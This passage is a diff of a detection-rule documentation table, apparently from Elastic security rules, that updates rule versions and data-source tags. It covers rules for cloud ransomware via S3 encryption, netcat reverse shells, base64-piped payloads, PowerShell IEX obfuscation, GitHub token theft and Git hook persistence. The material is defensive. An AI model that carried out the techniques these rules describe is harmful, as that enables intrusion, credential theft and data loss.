encryption. Adversaries with access to a misconfigured S3 bucket and the proper permissions may encrypt objects with an external KMS key to deny their victims access to their own data. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Data Source: AWS KMS], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |6 +|<> |Identifies `CopyObject` events within an S3 bucket using an AWS KMS key from an external account for encryption. Adversaries with access to a misconfigured S3 bucket and the proper permissions may encrypt objects with an external KMS key to deny their victims access to their own data. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Data Source: AWS KMS], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |8 -|<> |Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |5 +|<> |Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |6 -|<> |This rule detects when a JavaScript file is uploaded or accessed in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Tactic: Impact], [Use Case: Web Application Compromise], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |3 +|<> |This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Tactic: Impact], [Use Case: Web Application Compromise], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |5 |<> |Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Resources: Investigation Guide], [Tactic: Collection] |None |5 @@ -248,7 +250,7 @@ and their rule type is `machine_learning`. |<> |Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |3 -|<> |Identifies when a single AWS resource is making `GetServiceQuota` API calls for the EC2 service quota L-1216C47A in more than 10 regions within a 30-second window. Quota code L-1216C47A represents on-demand instances which are used by adversaries to deploy malware and mine cryptocurrency. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Service Quotas], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |4 +|<> |Identifies when a single AWS resource is making `GetServiceQuota` API calls for the EC2 service quota L-1216C47A in more than 10 regions within a 30-second window. Quota code L-1216C47A represents on-demand instances which are used by adversaries to deploy malware and mine cryptocurrency. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Service Quotas], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |6 |<> |Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity. |[Domain: Cloud], [Data Source: Amazon Web Services], [Data Source: AWS], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |5 @@ -306,7 +308,7 @@ and their rule type is `machine_learning`. |<> |Elastic Endgame detected an Adversary Behavior. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. |[Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |106 -|<> |Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection. |[Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |103 +|<> |Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection. |[Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |104 |<> |Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. |[Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |103 @@ -454,7 +456,7 @@ and their rule type is `machine_learning`. |<> |Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an attempt to evade defenses. |[Domain: Cloud], [Data Source: Azure], [Use Case: Network Security Monitoring], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |106 -|<> |Detects when Azure OpenAI requests result in zero response length, potentially indicating issues in output handling that might lead to security exploits such as data leaks or code execution. This can occur in cases where the API fails to handle outputs correctly under certain input conditions. |[Domain: LLM], [Data Source: Azure OpenAI], [Data Source: Azure Event Hubs], [Use Case: Insecure Output Handling], [Resources: Investigation Guide] |None |3 +|<> |Detects when Azure OpenAI requests result in zero response length, potentially indicating issues in output handling that might lead to security exploits such as data leaks or code execution. This can occur in cases where the API fails to handle outputs correctly under certain input conditions. |[Domain: LLM], [Data Source: Azure OpenAI], [Data Source: Azure Event Hubs], [Use Case: Insecure Output Handling], [Resources: Investigation Guide] |None |5 |<> |Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. |[Domain: Cloud], [Data Source: Azure], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence] |None |108 @@ -482,7 +484,7 @@ and their rule type is `machine_learning`. |<> |Adversaries may encode/decode data in an attempt to evade detection by host- or network-based security controls. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |214 -|<> |This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |3 +|<> |This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |4 |<> |Both ~/.bash_profile and ~/.bashrc are files containing shell commands that are run when Bash is invoked. These files are executed in a user's context, either interactively or non-interactively, when a user logs in so that their environment is set correctly. Adversaries may abuse this to establish persistence by executing malicious content triggered by a user’s shell. |[Domain: Endpoint], [OS: macOS], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |107 @@ -524,7 +526,7 @@ and their rule type is `machine_learning`. |<> |A suspicious SolarWinds child process (Cmd.exe or Powershell.exe) was detected. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Initial Access], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |317 -|<> |Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior. |[Domain: Endpoint], [OS: Windows], [OS: macOS], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Resources: Investigation Guide] |None |1 +|<> |Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior. |[Domain: Endpoint], [OS: Windows], [OS: macOS], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Resources: Investigation Guide] |None |3 |<> |Identifies cmd.exe making a network connection. Adversaries could abuse cmd.exe to download or execute malware from a remote URL. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne] |None |212 @@ -542,7 +544,7 @@ and their rule type is `machine_learning`. |<> |Identifies unusual processes connecting to domains using known free SSL certificates. Adversaries may employ a known encryption algorithm to conceal command and control traffic. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide] |None |210 -|<> |Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: SentinelOne] |None |122 +|<> |Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: SentinelOne] |None |123 |<> |Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet network connections to publicly routable IP addresses. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |211 @@ -596,7 +598,7 @@ and their rule type is `machine_learning`. |<> |This rule detects the use of the `curl` command-line tool with SOCKS proxy options, launched from an unusual parent process. Attackers may use `curl` to establish a SOCKS proxy connection to bypass network restrictions and exfiltrate data or communicate with C2 servers. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |5 -|<> |This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |1 +|<> |This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |2 |<> |Identifies the occurrence of a CyberArk Privileged Access Security (PAS) error level audit event. The event.code correlates to the CyberArk Vault Audit Action Code. |[Data Source: CyberArk PAS], [Use Case: Log Auditing], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |105 @@ -618,12 +620,14 @@ and their rule type is `machine_learning`. |<> |This rule detects the use of the default Cobalt Strike Team Server TLS certificate. Cobalt Strike is software for Adversary Simulations and Red Team Operations which are security assessments that replicate the tactics and techniques of an advanced adversary in a network. Modifications to the Packetbeat configuration can be made to include MD5 and SHA256 hashing algorithms (the default is SHA1). See the References section for additional information on module configuration. |[Tactic: Command and Control], [Threat: Cobalt Strike], [Use Case: Threat Detection], [Domain: Endpoint], [Resources: Investigation Guide] |None |108 -|<> |Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6 +|<> |Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |7 |<> |Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a delegated managed service account by an unusual subject account. Attackers can abuse this attribute to take over the permission of a target account and inherit it's permissions allowing them to further elevate privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1 |<> |Identifies use of the fsutil.exe to delete the volume USNJRNL. This technique is used by attackers to eliminate evidence of files created during post-exploitation activities. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |314 +|<> |Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Asset Visibility], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |210 + |<> |Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Route53], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Privilege Escalation] |None |212 |<> |Identifies a suspicious file that was written by a PDF reader application and subsequently executed. These processes are often launched via exploitation of PDF applications. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon] |None |211 @@ -642,7 +646,7 @@ and their rule type is `machine_learning`. |<> |Identifies use of the Set-MpPreference PowerShell command to disable or weaken certain Windows Defender settings. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |317 -|<> |Identifies the execution of Linux built-in commands related to account or group enumeration. Adversaries may use account and group information to orient themselves before deciding how to act. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |4 +|<> |Identifies the execution of Linux built-in commands related to account or group enumeration. Adversaries may use account and group information to orient themselves before deciding how to act. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike] |None |5 |<> |Identifies the use of built-in tools attackers can use to check for Internet connectivity on compromised systems. These results may be used to determine communication capabilities with C2 servers, or to identify routes, redirectors, and proxy servers. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend] |None |104 @@ -664,7 +668,7 @@ and their rule type is `machine_learning`. |<> |Adversaries may dump the content of the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |112 -|<> |Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command by accessing and indexing the string representation of method references. This obfuscation technique uses constructs like ''.IndexOf.ToString() to expose method metadata as a string, then extracts specific characters through indexed access and joins them to form IEX, bypassing static keyword detection and evading defenses such as AMSI. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |5 +|<> |Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command by accessing and indexing the string representation of method references. This obfuscation technique uses constructs like ''.IndexOf.ToString() to expose method metadata as a string, then extracts specific characters through indexed access and joins them to form IEX, bypassing static keyword detection and evading defenses such as AMSI. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |7 |<> |This rule detects the creation of the dynamic linker (ld.so). The dynamic linker is used to load shared libraries needed by an executable. Attackers may attempt to replace the dynamic linker with a malicious version to execute arbitrary code. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Tactic: Persistence], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105 @@ -696,7 +700,7 @@ and their rule type is `machine_learning`. |<> |Generates a detection alert each time an Elastic Defend alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts. |[Data Source: Elastic Defend], [Resources: Investigation Guide] |None |108 -|<> |Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 +|<> |Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |3 |<> |Identifies device code authentication with an Azure broker client for Entra ID. Adversaries abuse Primary Refresh Tokens (PRTs) to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. PRTs are used in Conditional Access policies to enforce device-based controls. Compromising PRTs allows attackers to bypass these policies and gain unauthorized access. This rule detects successful sign-ins using device code authentication with the Entra ID broker client application ID (29d9ed98-a469-4536-ade2-f981bc1d605e). |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |5 @@ -734,9 +738,9 @@ and their rule type is `machine_learning`. |<> |Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Impact] |None |4 -|<> |Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. |[Domain: Cloud], [Domain: Email], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Tactic: Collection], [Resources: Investigation Guide] |None |1 +|<> |Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. |[Domain: Cloud], [Domain: Email], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Tactic: Collection], [Resources: Investigation Guide] |None |2 -|<> |Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. |[Domain: Cloud], [Domain: Storage], [Domain: Identity], [Data Source: Azure], [Data Source: Azure Platform Logs], [Data Source: Azure Key Vault], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |4 +|<> |Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. |[Domain: Cloud], [Domain: Storage], [Domain: Identity], [Data Source: Azure], [Data Source: Azure Platform Logs], [Data Source: Azure Key Vault], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |6 |<> |Identifies the use of the Exchange PowerShell cmdlet, New-MailBoxExportRequest, to export the contents of a primary mailbox or archive to a .pst file. Adversaries may target user email to collect sensitive information. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Collection], [Resources: Investigation Guide], [Data Source: PowerShell Logs] |None |213 @@ -816,7 +820,7 @@ and their rule type is `machine_learning`. |<> |This rule detects the use of the built-in Linux DebugFS utility from inside a container. DebugFS is a special file system debugging utility which supports reading and writing directly from a hard drive device. When launched inside a privileged container, a container deployed with all the capabilities of the host machine, an attacker can access sensitive host level files which could be used for further privilege escalation and container escapes to the host machine. |[Domain: Container], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 -|<> |A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: SentinelOne] |None |214 +|<> |A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne] |None |215 |<> |Identifies the change of permissions/ownership of files/folders through built-in Windows utilities. Threat actors may require permission modification of files/folders to change, modify or delete them. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Rule Type: BBR], [Data Source: Elastic Defend] |None |4 @@ -926,7 +930,7 @@ and their rule type is `machine_learning`. |<> |This rule detects child processes spawned by Git hooks. Git hooks are scripts that Git executes before or after events such as commit, push, and receive. The rule identifies child processes spawned by Git hooks that are not typically spawned by the Git process itself. This behavior may indicate an attacker attempting to hide malicious activity by leveraging the legitimate Git process to execute unauthorized commands. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105 -|<> |This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |105 +|<> |This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |106 |<> |This rule detects the creation or modification of a Git hook file on a Linux system. Git hooks are scripts that Git executes before or after events such as commit, push, and receive. They are used to automate tasks, enforce policies, and customize Git's behavior. Attackers can abuse Git hooks to maintain persistence on a system by executing malicious code whenever a specific Git event occurs. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |106 @@ -936,7 +940,7 @@ and their rule type is `machine_learning`. |<> |Detects the deletion of a GitHub app either from a repo or an organization. |[Domain: Cloud], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Github], [Resources: Investigation Guide] |None |207 -|<> |This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |1 +|<> |This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows 